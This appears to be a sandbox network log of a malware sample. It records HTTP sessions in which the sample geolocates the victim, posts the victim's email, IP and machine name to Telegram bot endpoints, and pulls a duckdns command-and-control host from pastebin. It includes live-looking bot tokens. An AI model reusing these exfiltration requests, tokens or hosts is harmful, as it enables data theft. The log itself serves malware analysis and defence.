                                                                                                                                                                                      18192.168.2.449770104.21.25.1484434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:50 UTC343OUTGET / HTTP/1.1
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: none
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:50 UTC810INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:50 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9995
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dWE35E%2Bg2wqX1xA3y2Dwh5JjUR5w%2BOYHgic%2BAL5ds0NZwK%2FUwoZLThLxWxYEmkO2uXRC1kgRTy5oTJuTlTSwT7q%2FtTRC83%2BI9muH4hcmqwHE9eQGs0%2FZQK5s8ImJccV1G30KZ%2BxT"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a122c962b24-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:50 UTC559INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:50 UTC237INData Raw: 69 6d 65 7a 6f 6e 65 5f 6e 61 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: imezone_name": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:50 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      19192.168.2.449771149.154.167.2204434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:51 UTC605OUTPOST /bot7198128499:AAHSvX4jW6n9t45ItKyUTcn3TOm2bCJdS-s/sendMessage HTTP/1.1
                                                                                                                                                                                      Host: api.telegram.org
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      Content-Length: 234
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Origin: null
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:51 UTC234OUTData Raw: 7b 22 63 68 61 74 5f 69 64 22 3a 22 36 34 38 31 32 37 30 39 30 38 22 2c 22 74 65 78 74 22 3a 22 5c 6e 5c 74 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 55 53 45 52 20 49 4e 46 4f 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 5c 74 46 69 6c 65 20 64 6f 77 6e 6c 6f 61 64 65 64 20 62 79 20 4a 43 43 42 75 64 67 65 74 53 65 72 76 69 63 65 73 43 6f 6e 74 61 63 74 73 54 72 69 61 6c 43 6f 75 72 74 73 40 6a 75 64 2e 63 61 2e 67 6f 76 5c 6e 5c 74 46 72 6f 6d 20 52 6f 6d 61 6e 69 61 20 5c 6e 5c 74 49 50 20 61 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 36 32 2e 33 34 5c 6e 5c 74 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 45 4e 44 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 5c 74 22 7d
                                                                                                                                                                                      Data Ascii: {"chat_id":"6481270908","text":"\n\t============== USER INFO ===========\n\tFile downloaded by JCCBudgetServicesContactsTrialCourts@jud.ca.gov\n\tFrom Romania \n\tIP address: 81.181.62.34\n\t================ END ================\n\t"}
                                                                                                                                                                                      2024-05-10 19:31:53 UTC347INHTTP/1.1 401 Unauthorized
                                                                                                                                                                                      Server: nginx/1.18.0
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:53 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Content-Length: 58
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                      2024-05-10 19:31:53 UTC58INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d
                                                                                                                                                                                      Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      20192.168.2.449772104.21.25.1484437076C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:53 UTC266OUTGET / HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      2024-05-10 19:31:53 UTC800INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:53 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9994
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=utccVFz9IGeX8UGULMyucbk%2FDo2exohao1LQoH0AAKTKF2nxLUAj9YDxt1927Xi5qX8UVCEx89hwIStsU9wDwC4klzJX9oCqzUxSoH2IUjajdqzsMKmMP4BC0vkjSon38t6YA%2B%2Bn"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a21bd068f4d-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:53 UTC569INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:53 UTC227INData Raw: 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: me": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:53 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      21192.168.2.449773149.154.167.2204437076C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:53 UTC289OUTPOST /bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessage HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Content-Length: 104
                                                                                                                                                                                      Host: api.telegram.org
                                                                                                                                                                                      2024-05-10 19:31:53 UTC104OUTData Raw: 7b 22 63 68 61 74 5f 69 64 22 3a 22 36 34 38 31 32 37 30 39 30 38 22 2c 22 74 65 78 74 22 3a 22 41 63 63 65 73 73 20 67 72 61 6e 74 65 64 21 20 49 50 3a 20 38 31 2e 31 38 31 2e 36 32 2e 33 34 2c 20 43 6f 6d 70 75 74 65 72 20 4e 61 6d 65 3a 20 4a 4f 4e 45 53 2d 50 43 2c 20 55 73 65 72 3a 20 6a 6f 6e 65 73 22 7d
                                                                                                                                                                                      Data Ascii: {"chat_id":"6481270908","text":"Access granted! IP: 81.181.62.34, Computer Name: user-PC, User: user"}
                                                                                                                                                                                      2024-05-10 19:31:54 UTC388INHTTP/1.1 200 OK
                                                                                                                                                                                      Server: nginx/1.18.0
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:54 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Content-Length: 348
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                      2024-05-10 19:31:54 UTC348INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 39 36 38 31 32 36 34 36 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 46 49 4c 45 20 43 4c 49 43 4b 45 44 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 6c 69 6b 65 64 61 62 6f 66 69 6c 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 34 38 31 32 37 30 39 30 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 58 61 64 69 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 31 35 33 36 39 35 31 34 2c 22 74 65 78 74 22 3a 22 41 63 63 65 73 73 20 67 72 61 6e 74 65 64 21 20 49 50 3a 20 38 31 2e 31 38 31 2e 36 32 2e 33 34
                                                                                                                                                                                      Data Ascii: {"ok":true,"result":{"message_id":73,"from":{"id":6968126468,"is_bot":true,"first_name":"FILE CLICKED","username":"clikedabofilebot"},"chat":{"id":6481270908,"first_name":"Xadin","type":"private"},"date":1715369514,"text":"Access granted! IP: 81.181.62.34


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      22192.168.2.449775172.67.19.244437076C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:55 UTC158OUTGET /raw/NsQ5qTHr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Host: pastebin.com
                                                                                                                                                                                      2024-05-10 19:31:55 UTC391INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:55 GMT
                                                                                                                                                                                      Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      x-frame-options: DENY
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1;mode=block
                                                                                                                                                                                      cache-control: public, max-age=1801
                                                                                                                                                                                      CF-Cache-Status: EXPIRED
                                                                                                                                                                                      Last-Modified: Fri, 10 May 2024 14:42:14 GMT
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a2e78f88131-ORD
                                                                                                                                                                                      2024-05-10 19:31:55 UTC29INData Raw: 31 37 0d 0a 6d 61 73 74 65 72 6f 6b 72 77 68 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 0d 0a
                                                                                                                                                                                      Data Ascii: 17masterokrwh.duckdns.org
                                                                                                                                                                                      2024-05-10 19:31:55 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      23192.168.2.449776104.21.25.1484431544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:56 UTC266OUTGET / HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      2024-05-10 19:31:57 UTC802INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:57 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9993
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2B3bQgFDXkrBq5DzSmfn8OzUeB7GC7WeGCJxIfN8cmOfjEXO8L4aaKuU0E%2FEoNV3D4J95a9Um3YQdnaAfgL%2FxixOtbEY04WFNJzB9swLl4Mx2%2BTe4YVG8byfmRnzzaCXHVYwFJqG"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a3a2ebee271-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:57 UTC567INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:57 UTC229INData Raw: 6e 61 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: name": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:57 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      24192.168.2.449777149.154.167.2204431544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:58 UTC289OUTPOST /bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessage HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Content-Length: 104
                                                                                                                                                                                      Host: api.telegram.org
                                                                                                                                                                                      2024-05-10 19:31:58 UTC104OUTData Raw: 7b 22 63 68 61 74 5f 69 64 22 3a 22 36 34 38 31 32 37 30 39 30 38 22 2c 22 74 65 78 74 22 3a 22 41 63 63 65 73 73 20 67 72 61 6e 74 65 64 21 20 49 50 3a 20 38 31 2e 31 38 31 2e 36 32 2e 33 34 2c 20 43 6f 6d 70 75 74 65 72 20 4e 61 6d 65 3a 20 4a 4f 4e 45 53 2d 50 43 2c 20 55 73 65 72 3a 20 6a 6f 6e 65 73 22 7d
                                                                                                                                                                                      Data Ascii: {"chat_id":"6481270908","text":"Access granted! IP: 81.181.62.34, Computer Name: user-PC, User: user"}
                                                                                                                                                                                      2024-05-10 19:31:58 UTC388INHTTP/1.1 200 OK
                                                                                                                                                                                      Server: nginx/1.18.0
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:58 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Content-Length: 348
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                      Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                      2024-05-10 19:31:58 UTC348INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 39 36 38 31 32 36 34 36 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 46 49 4c 45 20 43 4c 49 43 4b 45 44 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 6c 69 6b 65 64 61 62 6f 66 69 6c 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 34 38 31 32 37 30 39 30 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 58 61 64 69 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 31 35 33 36 39 35 31 38 2c 22 74 65 78 74 22 3a 22 41 63 63 65 73 73 20 67 72 61 6e 74 65 64 21 20 49 50 3a 20 38 31 2e 31 38 31 2e 36 32 2e 33 34
                                                                                                                                                                                      Data Ascii: {"ok":true,"result":{"message_id":74,"from":{"id":6968126468,"is_bot":true,"first_name":"FILE CLICKED","username":"clikedabofilebot"},"chat":{"id":6481270908,"first_name":"Xadin","type":"private"},"date":1715369518,"text":"Access granted! IP: 81.181.62.34


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      25192.168.2.449779172.67.19.244431544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:58 UTC158OUTGET /raw/NsQ5qTHr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                      Host: pastebin.com
                                                                                                                                                                                      2024-05-10 19:31:59 UTC395INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:59 GMT
                                                                                                                                                                                      Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      x-frame-options: DENY
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1;mode=block
                                                                                                                                                                                      cache-control: public, max-age=1801
                                                                                                                                                                                      CF-Cache-Status: HIT
                                                                                                                                                                                      Age: 4
                                                                                                                                                                                      Last-Modified: Fri, 10 May 2024 19:31:55 GMT
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a46bbeb109c-ORD
